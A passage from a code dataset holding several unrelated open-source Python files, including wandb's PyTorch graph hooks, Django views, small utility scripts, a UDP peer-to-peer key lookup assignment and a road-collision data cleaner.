else tmin\n tmax = 0 if tmax < 0 else tmax\n # Anecdotally, this can somehow happen sometimes. Maybe a precision error\n # in min()/max() above. Swap here to prevent a runtime error.\n if tmin > tmax:\n tmin, tmax = tmax, tmin\n tensor = flat.histc(bins=self._num_bins, min=tmin, max=tmax)\n tensor = tensor.cpu().detach().clone()\n bins = torch.linspace(tmin, tmax, steps=self._num_bins + 1)\n\n # Add back zeroes from a sparse tensor.\n if sparse_zeros:\n bins_np = bins.numpy()\n tensor_np = tensor.numpy()\n bin_idx = 0\n num_buckets = len(bins_np) - 1\n for i in range(num_buckets):\n start = bins_np[i]\n end = bins_np[i + 1]\n # There are 3 cases to consider here, all of which mean we've found the right bucket\n # 1. The bucket range contains zero.\n # 2. The bucket range lower bound *is* zero.\n # 3. This is the last bucket and the bucket range upper bound is zero.\n if (start <= 0 and end > 0) or (i == num_buckets - 1 and end == 0):\n bin_idx = i\n break\n\n tensor_np[bin_idx] += sparse_zeros\n tensor = torch.Tensor(tensor_np)\n bins = torch.Tensor(bins_np)\n\n wandb.run._log(\n {name: wandb.Histogram(np_histogram=(tensor.tolist(), bins.tolist()))},\n commit=False,\n )\n\n def _hook_variable_gradient_stats(self, var, name, log_track):\n \"\"\"Logs a Variable's gradient's distribution statistics next time backward()\n is called on it.\n \"\"\"\n if not isinstance(var, torch.autograd.Variable):\n cls = type(var)\n raise TypeError(\n f\"Expected torch.Variable, not {cls.__module__}.{cls.__name__}\"\n )\n\n handle = self._hook_handles.get(name)\n if handle is not None and self._torch_hook_handle_is_valid(handle):\n raise ValueError(f'A hook has already been set under name \"{name}\"')\n\n def _callback(grad, log_track):\n if not log_track_update(log_track):\n return\n self.log_tensor_stats(grad.data, name)\n\n handle = var.register_hook(lambda grad: _callback(grad, log_track))\n self._hook_handles[name] = handle\n return handle\n\n def unhook_all(self):\n for handle in self._hook_handles.values():\n handle.remove()\n self._hook_handles = []\n\n def unhook(self, name):\n handle = self._hook_handles.pop(name)\n handle.remove()\n\n def _torch_hook_handle_is_valid(self, handle):\n d = handle.hooks_dict_ref()\n if d is None:\n return False\n else:\n return handle.id in d\n\n def _no_finite_values(self, tensor: \"torch.Tensor\") -> bool:\n return tensor.shape == torch.Size([0]) or (~torch.isfinite(tensor)).all().item()\n\n def _remove_infs_nans(self, tensor: \"torch.Tensor\") -> \"torch.Tensor\":\n if not torch.isfinite(tensor).all():\n tensor = tensor[torch.isfinite(tensor)]\n\n return tensor\n\n\nclass TorchGraph(wandb.data_types.Graph):\n def __init__(self):\n super().__init__(\"torch\")\n self._graph_hooks = set()\n\n @classmethod\n def hook_torch(cls, model, criterion=None, graph_idx=0):\n wandb.termlog(\"logging graph, to disable use `wandb.watch(log_graph=False)`\")\n graph = TorchGraph()\n graph.hook_torch_modules(model, criterion, graph_idx=graph_idx)\n return graph\n\n def create_forward_hook(self, name, graph_idx):\n graph = self\n\n def after_forward_hook(module, input, output):\n if id(module) not in self._graph_hooks:\n # hook already processed -> noop\n return\n if not isinstance(output, tuple):\n output = (output,)\n parameters = [\n (pname, list(param.size()))\n for pname, param in module.named_parameters()\n ]\n\n node = Node(\n id=id(module),\n name=name,\n class_name=str(module),\n output_shape=nested_shape(output),\n parameters=parameters,\n num_parameters=[reduce(mul, size, 1) for (pname, size) in parameters],\n )\n graph.nodes_by_id[id(module)] = node\n for param in module.parameters():\n graph.nodes_by_id[id(param)] = node\n graph.add_node(node)\n if not graph.criterion_passed:\n if hasattr(output[0], \"grad_fn\"):\n graph.criterion = output[0].grad_fn\n elif (\n isinstance(output[0], list)\n and output[0]\n and hasattr(output[0][0], \"grad_fn\")\n ):\n graph.criterion = output[0][0].grad_fn\n\n # hook has been processed\n self._graph_hooks -= {id(module)}\n\n if not self._graph_hooks:\n # we went through the entire graph\n wandb.run.summary[\"graph_%i\" % graph_idx] = self\n\n return after_forward_hook\n\n def hook_torch_modules(\n self, module, criterion=None, prefix=None, graph_idx=0, parent=None\n ):\n torch = util.get_module(\"torch\", \"Could not import torch\")\n layers = 0\n graph = self\n if hasattr(module, \"_wandb_watch_called\") and module._wandb_watch_called:\n raise ValueError(\n \"You can only call `wandb.watch` once per model. Pass a new instance of the model if you need to call wandb.watch again in your code.\"\n )\n module._wandb_watch_called = True\n if criterion:\n graph.criterion = criterion\n graph.criterion_passed = True\n\n for name, sub_module in module.named_children():\n name = name or str(layers)\n if prefix:\n name = prefix + \".\" + name\n layers += 1\n if not isinstance(sub_module, torch.nn.Module):\n # TODO: Why does this happen?\n break\n\n # Trying to support torch >0.3 making this code complicated\n # We want a list of types that we should recurse into\n # Torch 0.3 uses containers\n # 0.4 has ModuleList\n # 0.4.1 has ModuleDict\n module_types = [\n getattr(torch.nn, module_classname)\n for module_classname in (\n \"Container\",\n \"Sequential\",\n \"ModuleList\",\n \"ModuleDict\",\n )\n if hasattr(torch.nn, module_classname)\n ]\n if parent is None:\n parent = module\n\n if isinstance(sub_module, tuple(module_types)):\n self.hook_torch_modules(sub_module, prefix=name, parent=parent)\n else:\n self._graph_hooks |= {id(sub_module)}\n try:\n graph_hook = sub_module.register_forward_hook(\n self.create_forward_hook(name, graph_idx)\n )\n wandb.run._torch._hook_handles[\n \"topology/\" + str(id(graph_hook))\n ] = graph_hook\n if not hasattr(parent, \"_wandb_hook_names\"):\n # should never happen but let's be extra safe\n parent._wandb_hook_names = []\n parent._wandb_hook_names.append(\"topology/\" + str(id(graph_hook)))\n except RuntimeError as e:\n wandb.termwarn(\n f\"Trying to register forward_hook failed ({e}) - skipping graph tracking.\",\n repeat=False,\n )\n\n @classmethod\n def from_torch_layers(cls, module_graph, variable):\n \"\"\"Recover something like neural net layers from PyTorch Module's and the\n compute graph from a Variable.\n\n Example output for a multi-layer RNN. We confusingly assign shared embedding values\n to the encoder, but ordered next to the decoder.\n\n rnns.0.linear.module.weight_raw rnns.0\n rnns.0.linear.module.bias rnns.0\n rnns.1.linear.module.weight_raw rnns.1\n rnns.1.linear.module.bias rnns.1\n rnns.2.linear.module.weight_raw rnns.2\n rnns.2.linear.module.bias rnns.2\n rnns.3.linear.module.weight_raw rnns.3\n rnns.3.linear.module.bias rnns.3\n decoder.weight encoder\n decoder.bias decoder\n \"\"\"\n # TODO: We're currently not using this, but I left it here incase we want to resurrect! - CVP\n torch = util.get_module(\"torch\", \"Could not import torch\")\n\n module_nodes_by_hash = {id(n): n for n in module_graph.nodes}\n module_parameter_nodes = [\n n for n in module_graph.nodes if isinstance(n.obj, torch.nn.Parameter)\n ]\n\n names_by_pid = {id(n.obj): n.name for n in module_parameter_nodes}\n\n reachable_param_nodes = module_graph[0].reachable_descendents()\n reachable_params = {}\n module_reachable_params = {}\n names = {}\n for pid, reachable_nodes in reachable_param_nodes.items():\n node = module_nodes_by_hash[pid]\n if not isinstance(node.obj, torch.nn.Module):\n continue\n module = node.obj\n reachable_params = {} # by object id\n module_reachable_params[id(module)] = reachable_params\n names[node.name] = set()\n for reachable_hash in reachable_nodes:\n reachable = module_nodes_by_hash[reachable_hash]\n if isinstance(reachable.obj, torch.nn.Parameter):\n param = reachable.obj\n reachable_params[id(param)] = param\n names[node.name].add(names_by_pid[id(param)])\n\n # we look for correspondences between sets of parameters used in subtrees of the\n # computation graph and sets of parameters contained in subtrees of the module\n # graph\n node_depths = {id(n): d for n, d in module_graph[0].descendent_bfs()}\n parameter_module_names = {}\n parameter_modules = {}\n for param_node in (\n n for n in module_graph.nodes if isinstance(n.obj, torch.nn.Parameter)\n ):\n pid = id(param_node.obj)\n best_node = None\n best_depth = None\n best_reachable_params = None\n for node in module_graph.nodes:\n if not isinstance(node.obj, torch.nn.Module):\n continue\n module = node.obj\n reachable_params = module_reachable_params[id(module)]\n if pid in reachable_params:\n depth = node_depths[id(node)]\n if best_node is None or (len(reachable_params), depth) <= (\n len(best_reachable_params),\n best_depth,\n ):\n best_node = node\n best_depth = depth\n best_reachable_params = reachable_params\n\n parameter_modules[pid] = best_node\n parameter_module_names[param_node.name] = best_node.name\n\n # contains all parameters but only a minimal set of modules necessary\n # to contain them (and which ideally correspond to conceptual layers)\n reduced_module_graph = cls()\n rmg_ids = itertools.count()\n rmg_root = Node(id=next(rmg_ids), node=module_graph[0])\n reduced_module_graph.add_node(rmg_root)\n reduced_module_graph.root = rmg_root\n rmg_nodes_by_pid = {}\n\n module_nodes_by_pid = {id(n.obj): n for n in module_graph.nodes}\n\n compute_graph, compute_node_vars = cls.from_torch_compute_graph(variable)\n for node, _ in reversed(list(compute_graph[0].ancestor_bfs())):\n param = compute_node_vars.get(node.id)\n pid = id(param)\n if not isinstance(param, torch.nn.Parameter):\n continue\n if pid not in module_nodes_by_pid:\n # not all Parameters that occur in the compute graph come from the Module graph\n continue\n\n # add the nodes in the order we want to display them on the frontend\n mid = id(parameter_modules[pid].obj)\n if mid in rmg_nodes_by_pid:\n rmg_module = rmg_nodes_by_pid[mid]\n else:\n rmg_module = rmg_nodes_by_pid[mid] = Node(\n id=next(rmg_ids), node=module_nodes_by_pid[mid]\n )\n reduced_module_graph.add_node(rmg_module)\n reduced_module_graph.add_edge(rmg_root, rmg_module)\n\n rmg_param = Node(id=next(rmg_ids), node=module_nodes_by_pid[pid])\n rmg_nodes_by_pid[pid] = rmg_param\n reduced_module_graph.add_node(rmg_param)\n\n reduced_module_graph.add_edge(rmg_module, rmg_param)\n return reduced_module_graph\n\n @classmethod\n def node_from_module(cls, nid, module):\n numpy = util.get_module(\"numpy\", \"Could not import numpy\")\n\n node = wandb.Node()\n node.id = nid\n node.child_parameters = 0\n for parameter in module.parameters():\n node.child_parameters += numpy.prod(parameter.size())\n node.class_name = type(module).__name__\n\n return node\n","repo_name":"wandb/wandb","sub_path":"wandb/wandb_torch.py","file_name":"wandb_torch.py","file_ext":"py","file_size_in_byte":21018,"program_lang":"python","lang":"en","doc_type":"code","stars":7479,"dataset":"github-code","pt":"37"} +{"seq_id":"41322099567","text":"from django.shortcuts import render\nfrom django.shortcuts import HttpResponse\nfrom django.http import HttpRequest\nfrom django.shortcuts import redirect\nfrom django.db.models import Q\nfrom .models import hatrule as T_HatRule\nfrom device.models import device\nfrom area.models import area\nfrom common.views import *\nfrom django.http import JsonResponse\nfrom .forms import *\nimport json\nfrom django.utils import timezone\nfrom django.forms import widgets as Fwidge\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom baseframe.baseframe import *\n# Create your views here.\n\n\nclass hatrule(EntranceView_base):\n def set_view(self, request):\n query_sets = [\n device.objects.filter(Q(FStatus=True)),\n area.objects.filter(Q(CREATED_PRJ=self.request.session['PrjID']), Q(FStatus=True))\n ]\n\n self.template_name = 'content/hatrule/hatruleinfo.html'\n self.query_sets = query_sets\n self.quer_set_fieldnames = ['FDevice', 'FName']\n\n\nclass get_datasource(get_datasource_base):\n def get_queryset(self, request):\n prj_id = self.request.session['PrjID']\n serinput = self.request.GET.get(\"resultdict[FRule]\", '')\n hatrule_info = T_HatRule.objects.filter(Q(CREATED_PRJ=prj_id), Q(FRule__contains=serinput))\n\n return hatrule_info\n\nclass add(add_base):\n def set_view(self, request):\n self.template_name = 'content/hatrule/hatruleadd.html'\n self.objForm = HatRuleModelForm\n self.query_sets = [\n device.objects.filter(Q(FStatus=True)),\n area.objects.filter(Q(CREATED_PRJ=self.request.session['PrjID']), Q(FStatus=True))\n ]\n self.query_set_idfields = ['FDevID', 'FAreaID']\n self.query_set_valuefields = ['FDevice', 'FName']\n\nclass edit(edit_base):\n def set_view(self, request):\n self.template_name = 'content/hatrule/hatruleadd.html'\n self.model = T_HatRule\n self.objForm = HatRuleModelForm\n self.query_sets = [\n device.objects.filter(Q(FStatus=True)),\n area.objects.filter(Q(CREATED_PRJ=self.request.session['PrjID']), Q(FStatus=True))\n ]\n self.query_set_idfields = ['FDevID', 'FAreaID']\n self.query_set_valuefields = ['FDevice', 'FName']\n\n\nclass insert(insert_base):\n def set_view(self, request):\n self.model = T_HatRule\n self.objForm = HatRuleModelForm\n self.query_sets = [\n device.objects.filter(Q(FStatus=True)),\n area.objects.filter(Q(CREATED_PRJ=self.request.session['PrjID']), Q(FStatus=True))\n ]\n self.query_set_idfields = ['FDevID', 'FAreaID']\n self.query_set_valuefields = ['FDevice', 'FName']\n\n\nclass disabled(disabled_base):\n def set_view(self, request):\n self.model = T_HatRule\n","repo_name":"wjcyxx/ISMS","sub_path":"hatrule/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"16918306749","text":"\nimport csv\nimport googleapiclient\nfrom googleapiclient.discovery import build\nfrom mako.template import Template\nfrom mako.runtime import Context\nimport os\nfrom os import path\nimport time \nimport config\nfrom collections import Counter\n\n\nprint('\\nEventManager Initialized\\n')\n\ndef clean_zipcode(zc):\n return zc.rjust(5, '0')[0:5]\n\ndef clean_phone_numbers(n):\n if len(n) == 10:\n return n\n elif len(n) == 11 and n[0]==1:\n return n[1:]\n else:\n return 'Invalid Number'\n\ndef get_hour_from_timestamp(tstamp):\n return time.strptime(tstamp, r'%m/%d/%y %H:%M').tm_hour\n\ndef get_day_from_timestamp(tstamp):\n return time.strftime('%A', time.strptime(tstamp, r'%m/%d/%y %H:%M'))\n\n\ndef legislators_by_zipcode(zc):\n with build('civicinfo', 'v2') as service: \n service._developerKey = config.api_key\n try:\n data = service.representatives().representativeInfoByAddress( address=zc\n , levels = 'country'\n , roles=['legislatorUpperBody', 'legislatorLowerBody']\n , includeOffices=True).execute()\n return data['officials']\n except googleapiclient.errors.HttpError as err:\n return 'You can find your representatives by visiting www.commoncause.org/take-action/find-elected-officials'\n\n\n\ndef save_thank_you_letter(person_id, form_letter):\n if not path.exists('output'): os.mkdir('output')\n filename = f'output/thanks_{person_id}.html'\n with open(filename, 'w') as file:\n file.write(form_letter)\n\ndef mailing_list_actions():\n\n with open('event_attendees.csv', newline='') as csvfile:\n if csv.Sniffer().has_header(csvfile.read()):\n csvfile.seek(0)\n reader = csv.DictReader(csvfile)\n else:\n reader = csv.reader(csvfile, dialect=dial)\n\n #Create letter template \n letter_template = Template(filename='template_letter.html', module_directory='/tmp/mako_modules')\n\n #Registration Time / Date Info\n reg_time = []\n reg_day = []\n for row in reader:\n person_id = row[' ']\n reg_time.append(get_hour_from_timestamp(row['RegDate']))\n reg_day.append(get_day_from_timestamp(row['RegDate']))\n name = row['first_Name']\n zipcode = clean_zipcode(row['Zipcode'])\n legislators = legislators_by_zipcode(zipcode)\n personal_letter = letter_template.render(name=name, legislators=legislators)\n save_thank_you_letter(person_id, personal_letter)\n return reg_time, reg_day\n \nreg_time, reg_day = mailing_list_actions()\nt_count = Counter(reg_time)\nd_count = Counter(reg_day)\nprint(t_count)\nprint(d_count)\n\n \n\n \nprint('\\nEventManager Finished')","repo_name":"b-steel/event-manager","sub_path":"lib/event-manager.py","file_name":"event-manager.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33419745905","text":"import json\nimport time\nimport requests\nfrom helpers.get_token import SHOPER_DOMAIN, TOKEN\n\n\ndef create_redirect(from_url, to_url):\n \"\"\"\n https://shop.url/webapi/rest/redirects\n Create a redirect from relative URL\n to new absolute url.\n \"\"\"\n\n data = json.dumps(\n {\n \"route\": from_url,\n \"type\": 0,\n \"target\": to_url,\n }\n )\n url = f\"https://{SHOPER_DOMAIN}/webapi/rest/redirects\"\n headers = {\"Authorization\": f\"Bearer {TOKEN}\"}\n response = requests.post(url, headers=headers, data=data)\n res = response.json()\n time.sleep(0.5)\n\n return res\n","repo_name":"sbtah/shoper-api","sub_path":"apiclient/redirects/post_redirects.py","file_name":"post_redirects.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43701243232","text":"from random import sample\nfrom random import randint\nfrom random import shuffle\n\ncharacters = \"abcdefghijklmnopqrstuvwxyz1234567890\"\ncharacters_list =[]\nfor character in characters:\n\tcharacters_list.append(character)\n\ndef random_user_id():\n\trandom_id = \"\".join(sample(characters_list, 6))\n\treturn random_id\n\nprint(\"random id: \") \nprint(random_user_id())\n\n\ndef random_id_gen_by_user():\n\tnumber_of_characters = int(input(\"¿how many characters do you want in your id? \"))\n\tnumber_of_ids = int(input(\"¿how many ids do you want? \"))\n\trandom_id_list = []\n\trandom_id =\"\"\n\tfor i in range(0, number_of_ids):\n\t\trandom_id = \"\".join(sample(characters_list, number_of_characters))\n\t\trandom_id_list.append(random_id)\n\tfor i in range (0, len(random_id_list)):\n\t\tprint(random_id_list[i])\n\n\nprint(\"the random id by user: \") \nrandom_id_gen_by_user()\nprint(\"till here\")\nprint(\"\")\n\n\ndef rgb_color_gen():\n\tred = randint(0, 255)\n\tgreen = randint(0, 255)\n\tblue = randint(0, 255)\n\tprint(f\"rgb(\", red, \",\", green, \",\", blue, \")\")\n\nprint(\"this a rgb color\")\nrgb_color_gen()\n\n\ndef generate_colors(mode, num):\n\tcharacters_for_hex = \"abcdef1234567890\"\n\tcharacters_list_for_hex =[]\n\tfor chara in characters_for_hex:\n\t\tcharacters_list_for_hex.append(chara)\n\t\trandom_color = []\n\tfor i in range(0, num):\n\t\tif mode == \"hexa\":\n\t\t\thexa_rgb = random_sample = \"\".join(sample(characters_list_for_hex, 6))\n\t\t\trandom_color.append(hexa_rgb)\n\t\telif mode == \"rgb\":\n\t\t\t\tred = randint(0, 255)\n\t\t\t\tgreen = randint(0, 255)\n\t\t\t\tblue = randint(0, 255)\n\t\t\t\trgb_rgb = (red, green, blue)\n\t\t\t\trandom_color.append(rgb_rgb)\n\n\tfor i in range (0, num):\n\t\tprint(f\"\", mode, random_color[i])\n\n\n\t\t\nprint(\"the hexa or rgb generator\")\ngenerate_colors(\"hexa\", 5)\ngenerate_colors(\"rgb\", 8)\n\ndef shuffled_list(lista):\n\tshuffle(lista)\n\treturn lista\n\nprint(shuffled_list(characters_list))\n\ndef array_of_seven_numbers():\n\trandom_array = []\n\twhile len(random_array) < 7:\n\t\tnumber = randint(0, 9)\n\t\tif number not in random_array:\n\t\t\trandom_array.append(number)\n\treturn random_array\n\nprint(array_of_seven_numbers())\n\n","repo_name":"ZentoBernabeuPerez/30DaysOfPython","sub_path":"day_12/day_12.py","file_name":"day_12.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6015311631","text":"import os\nfrom glob import glob\nimport argparse\n\ndef main():\n parser = argparse.ArgumentParser(prog=\"rename.py\", description=\"Rename srt's to match video files\")\n parser.add_argument('--ext', '--e', type=str, help=\"Specify video extension\", required=True)\n \n args = parser.parse_args()\n\n video_ext = args.ext.replace('.', '')\n\n videos = glob(f\"*.{video_ext}\")\n if not videos:\n print(f\"{video_ext} files not found.\")\n return\n\n srts = glob(\"*.srt\")\n if not srts:\n print(f\".srt files not found.\")\n return\n\n for i, vid in enumerate(videos):\n os.rename(srts[i], vid.replace(f\".{video_ext}\", \".srt\"))\n\n print(\"Succesfully renamed srt's\")\n\nif __name__==\"__main__\":\n main()","repo_name":"gandalf-the-lonesome/rename_srt","sub_path":"rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12464201903","text":"#!/usr/bin/python3\nfrom utils import *\n\nclass Connection:\n \"\"\"Esta classe serve para armazenar IP e porta do vizinho do Servent.\"\"\"\n def __init__(self, *args):\n if isinstance(args, tuple):\n if len(args) == 2:\n host, port = args\n else:\n args = args[0]\n host, port = args.split(\":\")\n else:\n print_error('Unknow format of args in Connection')\n sys.exit(1)\n self.host = host\n self.port = int(port) if not isinstance(port, int) else port\n\n def __del__(self):\n pass\n\n def __str__(self):\n return str(self.host) + ', ' + str(self.port)\n\nclass Servent:\n \"\"\"\n A classe Servent. Serve para armazenar as chaves e valores para consulta.\n Se contiver a chave consultada, a resposta com o valor correspondente é\n enviada ao cliente.\n De qualquer modo, se contiver ou não a chave, o Servent repassa a todos os\n seus vizinhos (lista de classes Connection) a QUERY correspondente.\n \"\"\"\n def __init__(self, port, namefile_key, *args):\n self.port = int(port) if not isinstance(port, int) else port\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # Número de sequência\n self.seq_num = 0\n\n # Tratado como conjunto para ignorar repetições\n self.neighborhoods = list()\n set_of_ip_and_port = set()\n\n # Adiciona IP e porta da vizinhança passado nos argv\n for arg in list(args):\n if len(arg.split(\":\")) != 2:\n print_error('Error in arg')\n print_bold(arg)\n sys.exit(1)\n\n # Evita duplicação de conexões\n if arg not in set_of_ip_and_port:\n self.neighborhoods.append(Connection(arg))\n set_of_ip_and_port.add(arg)\n\n # Lê arquivo key e armazena como dicionário\n self.keys = dict()\n\n with open(namefile_key) as f:\n for line_read in f:\n # Insanity check\n line = line_read\n # Comentário ou linha vazia\n if not line or line[0] == '#':\n continue\n # Remove quebra de linha no final\n if line[-1] == '\\n':\n line = line[:-1]\n\n # Remove duplo espaçamento e divide\n line = \" \".join(line.strip().split()).split(\" \")\n value = \" \".join(line[1:])\n\n self.keys[line[0]] = value\n # end of with open(...\n\n # Aqui mantenho o conjunto das consultas para não repetílas\n self.has_here = set()\n\n def __del__(self):\n print_green('Servent died')\n self.sock.close()\n\n \"\"\"\n Lista os vizinhos\n \"\"\"\n def list_neighborhoods(self):\n print(BLUE, end=\"\")\n print('IP - port')\n for conn in self.neighborhoods:\n print(conn)\n print(ENDC, end=\"\")\n\n \"\"\"\n Lista as chaves\n \"\"\"\n def list_keys(self):\n print(BLUE, end=\"\")\n pprint.pprint(self.keys)\n print(ENDC, end=\"\")\n\n \"\"\"\n # Retorna o valor da chave pedida, None se não achar\n \"\"\"\n def get_value_by_key(self, key):\n print_warning('Search for key: ' + key)\n if key[-1] == '\\0':\n key = key[:-1]\n if key in self.keys:\n print_warning('Found value: ', end=\"\")\n print_bold(str(self.keys[key]))\n return self.keys[key]\n else:\n print_warning('Not found')\n return None\n\n \"\"\"\n Adiciona uma Query para futuramente verificar se é uma Query repettida\n \"\"\"\n def add_query_to_remember(self, addr, seq_num, key):\n v = (*addr, seq_num, key)\n self.has_here.add(v)\n print_bold(v)\n\n \"\"\"\n Veririca se a query já foi requisitada, se nã ela adiciona no conjunto\n \"\"\"\n def query_already_pass_here(self, addr, seq_num, key):\n v = (*addr, seq_num, key)\n if v in self.has_here:\n return True\n else:\n self.add_query_to_remember(addr, seq_num, key)\n return False\n\n \"\"\"\n Cria e retorna frame QUERY em binário\n \"\"\"\n def create_frame_QUERY(self, addr, key):\n print_warning('Build frame Query')\n\n ttl = TTL_INITIAL_DEFAULT\n mreq = socket.inet_aton(addr[0])\n\n port = addr[1]\n\n if key[-1] != '\\0':\n key += '\\0'\n\n b = struct.pack('! H H', QUERY, ttl)\n b += mreq + struct.pack('! H I ' + str(len(key)) + 's', port, self.seq_num, bytes(key, 'ascii'))\n\n self.add_query_to_remember(addr, self.seq_num, key)\n\n print_bold((QUERY, ttl, *addr, self.seq_num, key))\n print_bold(b)\n\n self.seq_num += 1\n\n return b\n\n \"\"\"\n Cria e retorna frame RESPONSE em binário\n \"\"\"\n def create_frame_RESPONSE(self, addr, key, value):\n print_warning('Build frame RESPONSE to ' + str(addr) )\n\n if key[-1] == '\\0':\n key = key[:-1] + '\\t'\n else:\n key += '\\t'\n\n b = struct.pack('! H', RESPONSE)\n b += struct.pack('! ' + str(len(key)) + 's ' + str(len(value)) + 's', bytes(key, 'ascii'), bytes(value, 'ascii'))\n\n print_bold(b)\n\n return b\n\n \"\"\"\n Pega a requisição, monta o quadro e reenvia aos seus vizinhos\n Se encontrar a chave, envia um RESPOSE ao client\n \"\"\"\n def handle_CLIREQ(self, addr, data):\n print_warning('handling CLIREQ')\n\n data = data[2:]\n struct_aux = struct.Struct('! ' + str(len(data)) + 's')\n data = struct_aux.unpack(data)\n key = data[0].decode('ascii')\n print_bold(key)\n\n value = self.get_value_by_key(key)\n\n if value is not None:\n frame = self.create_frame_RESPONSE(addr, key, value)\n self.send_data(addr, frame)\n\n frame = self.create_frame_QUERY(addr, key)\n self.send_to_neighborhoods(frame)\n\n \"\"\"\n Se encarrega de tratar o dado recebido da QUERY\n \"\"\"\n def handle_QUERY(self, addr, data):\n print_warning('handling QUERY')\n\n data_aux = data\n # Um campo de tipo de mensagem (uint16_t) com valor 2 (QUERY),\n data_aux = data_aux[2:]\n # Um campo de TTL (uint16_t),\n ttl = struct.unpack('! H', data_aux[:2])[0]\n\n if ttl == 0:\n return\n\n data_aux = data_aux[2:]\n # O endereço IP (struct in_addr) e o número do porto (uint16_t) do programa cliente que fez a consulta,\n ip_addr = socket.inet_ntoa(data_aux[:4])\n data_aux = data_aux[4:]\n port = struct.unpack('! H', data_aux[:2])[0]\n data_aux = data_aux[2:]\n # Um campo de número de sequência (uint32_t) e\n seq_num = struct.unpack('! I', data_aux[:4])[0]\n data_aux = data_aux[4:]\n # O texto da chave pela qual o cliente está buscando.\n key = data_aux.decode('ascii')\n\n if self.query_already_pass_here((ip_addr, port), seq_num, key):\n return\n\n value = self.get_value_by_key(key)\n\n if value is not None:\n frame = self.create_frame_RESPONSE((ip_addr, port), key, value)\n self.send_data((ip_addr, port), frame)\n\n data = data[:2] + struct.pack('! H', ttl-1) + data[4:]\n\n # Adiciona um tempo só para dar tempo de ver o que está acontecendo\n if DEBUG:\n time.sleep(1)\n\n self.send_to_neighborhoods(data)\n\n \"\"\"\n Apenas recebe dados no socket\n O BUFFER_SIZE foi definido como 40 + 160 + 1 + 1\n Tamanho composto pelo key, value, \\t, \\0\n \"\"\"\n def receive_data(self):\n data, addr = self.sock.recvfrom(BUFFER_SIZE)\n print_warning(addr)\n print_bold(data)\n print_bold(len(data))\n return data, addr\n\n \"\"\"\n Envia frame em binário pelo socket\n \"\"\"\n def send_data(self, addr, data):\n self.sock.sendto(data, addr)\n\n \"\"\"\n Envia frame em binário para todos os vizinhos.\n Tem como objetivo fazer um broadcast.\n \"\"\"\n def send_to_neighborhoods(self, data):\n print_warning('Sending data to all neighborhoods')\n print_bold(data)\n for x in self.neighborhoods:\n self.send_data((x.host, x.port), data)\n\n \"\"\"\n Módulo principal, praticamente o \"Main\" da classe.\n \"\"\"\n def start(self):\n self.sock.bind((\"0.0.0.0\", self.port))\n\n # DEBUG\n if DEBUG:\n self.list_neighborhoods()\n self.list_keys()\n\n print_green('Servent with port ' + str(self.port) + ' ready!')\n\n while True:\n socket_list = [self.sock]\n\n try:\n read_sockets, write_sockets, error_sockets = select.select(socket_list,[],[])\n except Exception as e:\n print_error('Something wrong in select')\n print_error(socket_list)\n sys.exit(1)\n\n for sock in read_sockets:\n if sock == self.sock:\n print_warning('Something in socket')\n data, addr = self.receive_data()\n if len(data) > 1:\n if data[0] == 0 and data[1] == CLIREQ:\n self.handle_CLIREQ(addr, data)\n elif data[0] == 0 and data[1] == QUERY:\n self.handle_QUERY(addr, data)\n elif sock == sys.stdin:\n # NOTE: Criar comandos?\n pass\n else:\n print_error('Unexpected state')\n print_error(sock)\n\ndef main(args):\n if len(args) < 3:\n print_green('Server/Client')\n print_green(' USAGE:', end=\" \")\n usage = args[0] + ' ... '\n print_green(usage)\n sys.exit(0)\n\n print_warning('args = ', end=\"\")\n print_warning(args)\n port = args[1]\n namefile_key = args[2]\n\n servent = Servent(port, namefile_key, *args[3:])\n\n servent.start()\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"ignitz/2017_1_dcc023","sub_path":"tp/tp3/src/serventTP3.py","file_name":"serventTP3.py","file_ext":"py","file_size_in_byte":10119,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7091290046","text":"\"\"\"\nThis takes a set of collision data cleaned with the stats19 data and cleans it further for use by LCC, including:\n- Filtering to London\n- Filtering to collisions at junctions only\n- Weights the severity of collisions\n\"\"\"\nimport yaml\nimport pandas as pd\nimport numpy as np\n\nfrom yaml import Loader\n\n\ndef accident_severity_counts(row):\n '''\n Count severities of each type\n '''\n severities = row['casualty_severity']\n severities = severities.tolist()\n \n fatal = severities.count('fatal')\n serious = severities.count('serious')\n slight = severities.count('slight')\n \n return fatal, serious, slight\n\n\ndef get_recency_weight(row, min_year):\n '''\n Upweights more severe collisions for junction comparison.\n '''\n year = row['year']\n recency_weight = np.log10(year - min_year + 6)\n \n return recency_weight\n\n\ndef get_max_severity(row, casualty_type):\n '''\n Finds the max severity of a cyclist in collision\n '''\n if row[f'fatal_{casualty_type}_casualties'] > 0:\n return 'fatal'\n if row[f'serious_{casualty_type}_casualties'] > 0:\n return 'serious'\n if row[f'slight_{casualty_type}_casualties'] > 0:\n return 'slight'\n else:\n return None\n\n\ndef recalculate_severity(casualties, mode_of_travel):\n '''\n recalculate severities based on cyclists or pedestrian only + apply weightings\n '''\n recalculated_severities = (\n casualties\n [casualties['mode_of_travel'] == mode_of_travel]\n .groupby(['collision_id'])\n .apply(accident_severity_counts)\n .reset_index()\n )\n\n if mode_of_travel == 'pedal_cycle':\n casualty_type = 'cyclist'\n else:\n casualty_type = mode_of_travel\n\n # split out cols\n new_cols = [\n f'fatal_{casualty_type}_casualties',\n f'serious_{casualty_type}_casualties',\n f'slight_{casualty_type}_casualties'\n ]\n recalculated_severities[new_cols] = pd.DataFrame(\n recalculated_severities[0].tolist(),\n index=recalculated_severities.index\n )\n\n recalculated_severities[f'max_{casualty_type}_severity'] = recalculated_severities.apply(\n 